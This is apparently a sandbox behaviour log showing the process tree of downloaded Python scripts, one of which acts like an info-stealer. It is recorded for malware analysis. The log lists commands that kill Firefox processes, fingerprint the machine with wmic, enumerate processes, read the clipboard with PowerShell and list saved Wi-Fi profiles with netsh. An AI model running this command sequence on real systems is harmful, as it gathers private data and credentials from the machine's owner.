    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10008 -childID 42 -isForBrowser -prefsHandle 7040 -prefMapHandle 6096 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f35794f-6037-4932-9a2b-0ec4a529e1ae} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6724
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9860 -childID 43 -isForBrowser -prefsHandle 9684 -prefMapHandle 9688 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1bb49f56-1de9-4fa3-a73f-3f33862dc56f} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9852 -childID 44 -isForBrowser -prefsHandle 9840 -prefMapHandle 9824 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a59c42fc-e7d5-421e-8419-be5602e8fe8b} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6356
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8196 -childID 45 -isForBrowser -prefsHandle 1440 -prefMapHandle 4940 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3fa02991-4825-475b-974d-a59889b5c2b0} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:6700
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8580 -childID 46 -isForBrowser -prefsHandle 9172 -prefMapHandle 10096 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {566d6ef6-1a7b-4b9c-903d-1beee976c85b} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7880 -parentBuildID 20240401114208 -prefsHandle 7424 -prefMapHandle 10172 -prefsLen 30696 -prefMapSize 245077 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d429b637-1bf4-443d-b88a-b4c6107c3e68} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" rdd
    3⤵
    PID:7780
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7952 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 4864 -prefMapHandle 8148 -prefsLen 30696 -prefMapSize 245077 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9fb6379-bc88-459d-8f82-557c6edca14d} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" utility
    3⤵
    - Checks processor information in registry
    PID:7348
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3588 -childID 47 -isForBrowser -prefsHandle 3684 -prefMapHandle 5948 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c05671eb-e1c0-44c1-a469-34e187410a2b} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:5320
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8436 -childID 48 -isForBrowser -prefsHandle 7644 -prefMapHandle 9080 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d43596bf-8c6b-41fa-87ef-4db0430154f5} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:564
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6576 -childID 49 -isForBrowser -prefsHandle 8684 -prefMapHandle 9528 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {45a6d3b3-b591-46b5-90ca-340caac040a6} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:4904
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5952 -childID 50 -isForBrowser -prefsHandle 10048 -prefMapHandle 7432 -prefsLen 28027 -prefMapSize 245077 -jsInitHandle 1352 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {686a3fee-1f9b-4c48-9aa8-955c9405a9ac} 6908 "\\.\pipe\gecko-crash-server-pipe.6908" tab
    3⤵
    PID:7760

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Checks computer location settings
PID:1144
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip remove
  2⤵
  - Executes dropped EXE
  PID:3036
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" remove
    3⤵
    - Executes dropped EXE
    PID:1792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:5804
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip uninstall requests
  2⤵
  - Executes dropped EXE
  PID:6176
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" uninstall requests
    3⤵
    - Executes dropped EXE
    PID:1056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:4776
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip uninstall cryptography
  2⤵
  - Executes dropped EXE
  PID:6184
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" uninstall cryptography
    3⤵
    - Executes dropped EXE
    PID:7372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:5496
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip uninstall aiohttp
  2⤵
  - Executes dropped EXE
  PID:2076
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" uninstall aiohttp
    3⤵
    - Executes dropped EXE
    PID:2044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:1876
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:8036
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:2084
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install requests
  2⤵
  - Executes dropped EXE
  PID:1096
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install requests
    3⤵
    - Executes dropped EXE
    PID:6380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:3400
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4428
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:1280
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe C:\Users\Admin\AppData\Local\Temp\test.py
      4⤵
      Executes dropped EXE
      PID:2444
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6508
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:6860
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install subprocess
  2⤵
  - Executes dropped EXE
  PID:4276
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install subprocess
    3⤵
    - Executes dropped EXE
    PID:5332
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:4508
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install subprocess.run
  2⤵
  - Executes dropped EXE
  PID:7444
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install subprocess.run
    3⤵
    - Executes dropped EXE
    PID:6200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7708
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe -c " exec(compile(''' # This is <pip-setuptools-caller> -- a caller that pip uses to run setup.py # # - It imports setuptools before invoking setup.py, to enable projects that directly # import from `distutils.core` to work with newer packaging standards. # - It provides a clear error message when setuptools is not installed. # - It sets `sys.argv[0]` to the underlying `setup.py`, when invoking `setup.py` so # setuptools doesn't think the script is `-c`. This avoids the following warning: # manifest_maker: standard file '-c' not found\". # - It generates a shim setup.py, for handling setup.cfg-only projects. import os, sys, tokenize try: import setuptools except ImportError as error: print( \"ERROR: Can not execute `setup.py` since setuptools is not available in \" \"the build environment.\", file=sys.stderr, ) sys.exit(1) __file__ = %r sys.argv[0] = __file__ if os.path.exists(__file__): filename = __file__ with tokenize.open(__file__) as f: setup_py_code = f.read() else: filename = \"<auto-generated setuptools caller>\" setup_py_code = \"from setuptools import setup; setup()\" exec(compile(setup_py_code, filename, \"exec\")) ''' % ('C:\\Users\\Admin\\AppData\\Local\\Temp\\pip-install-4gr4yrt6\\subprocess-run_27b65ed109764e3691b6f67f6c50770d\\setup.py',), \"<pip-setuptools-caller>\", \"exec\"))" egg_info --egg-base C:\Users\Admin\AppData\Local\Temp\pip-pip-egg-info-fbklvcz2
      4⤵
      Executes dropped EXE
      PID:7200
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:7172
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe -u -c " exec(compile(''' # This is <pip-setuptools-caller> -- a caller that pip uses to run setup.py # # - It imports setuptools before invoking setup.py, to enable projects that directly # import from `distutils.core` to work with newer packaging standards. # - It provides a clear error message when setuptools is not installed. # - It sets `sys.argv[0]` to the underlying `setup.py`, when invoking `setup.py` so # setuptools doesn't think the script is `-c`. This avoids the following warning: # manifest_maker: standard file '-c' not found\". # - It generates a shim setup.py, for handling setup.cfg-only projects. import os, sys, tokenize try: import setuptools except ImportError as error: print( \"ERROR: Can not execute `setup.py` since setuptools is not available in \" \"the build environment.\", file=sys.stderr, ) sys.exit(1) __file__ = %r sys.argv[0] = __file__ if os.path.exists(__file__): filename = __file__ with tokenize.open(__file__) as f: setup_py_code = f.read() else: filename = \"<auto-generated setuptools caller>\" setup_py_code = \"from setuptools import setup; setup()\" exec(compile(setup_py_code, filename, \"exec\")) ''' % ('C:\\Users\\Admin\\AppData\\Local\\Temp\\pip-install-4gr4yrt6\\subprocess-run_27b65ed109764e3691b6f67f6c50770d\\setup.py',), \"<pip-setuptools-caller>\", \"exec\"))" install --record C:\Users\Admin\AppData\Local\Temp\pip-record-ldyeugb1\install-record.txt --single-version-externally-managed --compile --install-headers C:\Users\Admin\AppData\Local\Programs\Python\Python311\Include\subprocess.run
      4⤵
      Executes dropped EXE
      PID:1980
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:7080
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:996
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:7988
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2228
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:2972
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install sys
  2⤵
  - Executes dropped EXE
  PID:3204
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install sys
    3⤵
    - Executes dropped EXE
    PID:7340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:4552
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6088
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    PID:8124
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe -m pip install requests
      4⤵
      PID:7408
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:3576
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe -m pip install aiohttp
      4⤵
      PID:6612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:6992
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe -m pip install cryptography
      4⤵
      PID:2300
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:5100
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main1.py"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7732
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main1.py"
    3⤵
    PID:7760

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\main(1).py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5100
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main(1).py"
  2⤵
  - Executes dropped EXE
  PID:7176

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:7816
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\main(1).py
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:2264

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\main(1).py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:7416
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main(1).py"
  2⤵
  - Executes dropped EXE
  PID:2700

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\main(2).py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6940
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main(2).py"
  2⤵
  - Executes dropped EXE
  PID:5216

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\main.py
1⤵
- Opens file in notepad (likely ransom note)
PID:3712

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:568
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  PID:4036

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4976
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  PID:2612

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\main.py
1⤵
- Opens file in notepad (likely ransom note)
PID:7556

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\main(1).py"
1⤵
- System Location Discovery: System Language Discovery
PID:800
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main(1).py"
  2⤵
  PID:2444

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Checks computer location settings
PID:3076
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main1.py"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2160
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main1.py"
    3⤵
    PID:4076
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip uninstall subprocess.run
  2⤵
  PID:7276
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" uninstall subprocess.run
    3⤵
    PID:6724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:1972
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main1.py"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7244
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main1.py"
    3⤵
    PID:4516
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe C:\Users\Admin\AppData\Local\Temp\test.py
      4⤵
      PID:6872
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:8016
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:6224
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:7936
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:5736
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2536
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:2364
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:640
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6908"
        5⤵
        
        PID:6704
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 6908
        6⤵
        Kills process with taskkill
        
        PID:7856
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4836"
        5⤵
        
        PID:3832
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4836
        6⤵
        Kills process with taskkill
        
        PID:4076
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 8080"
        5⤵
        
        PID:1796
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 8080
        6⤵
        Kills process with taskkill
        
        PID:6392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7192"
        5⤵
        
        PID:6424
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7192
        6⤵
        Kills process with taskkill
        
        PID:552
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4576"
        5⤵
        
        PID:6520
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4576
        6⤵
        Kills process with taskkill
        
        PID:5204
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3388"
        5⤵
        
        PID:7708
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3388
        6⤵
        Kills process with taskkill
        
        PID:2024
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6220"
        5⤵
        
        PID:2120
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 6220
        6⤵
        Kills process with taskkill
        
        PID:2780
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6436"
        5⤵
        
        PID:1900
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 6436
        6⤵
        Kills process with taskkill
        
        PID:6256
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4304"
        5⤵
        
        PID:3068
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4304
        6⤵
        Kills process with taskkill
        
        PID:5620
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7728"
        5⤵
        
        PID:5300
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7728
        6⤵
        Kills process with taskkill
        
        PID:3628
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2804"
        5⤵
        
        PID:5784
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2804
        6⤵
        Kills process with taskkill
        
        PID:5584
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4508"
        5⤵
        
        PID:7828
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4508
        6⤵
        Kills process with taskkill
        
        PID:5540
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7720"
        5⤵
        
        PID:6672
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7720
        6⤵
        Kills process with taskkill
        
        PID:7036
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7668"
        5⤵
        
        PID:6608
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7668
        6⤵
        Kills process with taskkill
        
        PID:7424
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7388"
        5⤵
        
        PID:2392
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7388
        6⤵
        Kills process with taskkill
        
        PID:8152
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7780"
        5⤵
        
        PID:4260
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7780
        6⤵
        Kills process with taskkill
        
        PID:784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7348"
        5⤵
        
        PID:1876
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7348
        6⤵
        Kills process with taskkill
        
        PID:5668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 564"
        5⤵
        
        PID:4800
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 564
        6⤵
        Kills process with taskkill
        
        PID:2920
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4904"
        5⤵
        
        PID:5980
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4904
        6⤵
        Kills process with taskkill
        
        PID:6612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7760"
        5⤵
        
        PID:232
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7760
        6⤵
        Kills process with taskkill
        
        PID:2200
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:4916
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:7060
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:696
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:7980
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:6876
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:8060
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:6028
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:2884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:3972
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        6⤵
        Clipboard Data
        
        PID:5244
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6356
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7956
    - - C:\Windows\system32\cmd.exe
        
